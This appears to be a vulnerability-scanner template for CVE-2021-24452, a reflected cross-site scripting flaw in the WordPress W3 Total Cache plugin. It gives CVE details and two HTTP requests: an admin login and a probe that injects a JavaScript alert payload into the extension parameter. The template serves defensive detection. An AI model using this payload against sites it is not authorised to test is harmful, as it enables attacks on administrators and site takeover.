WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting

id: CVE-2021-24452

info:
  name: WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting 'Anonymously track usage to improve product quality' is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 2.1.5.
  reference:
    - https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
    - https://wordpress.org/plugins/w3-total-cache/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24452
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.4078
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,auth,boldgrid

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-' HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(body_2, 'extensions/\'-alert(document.domain)-\'') && contains(body_2, 'w3-total-cache')
          - contains(header_2, "text/html")
        condition: and
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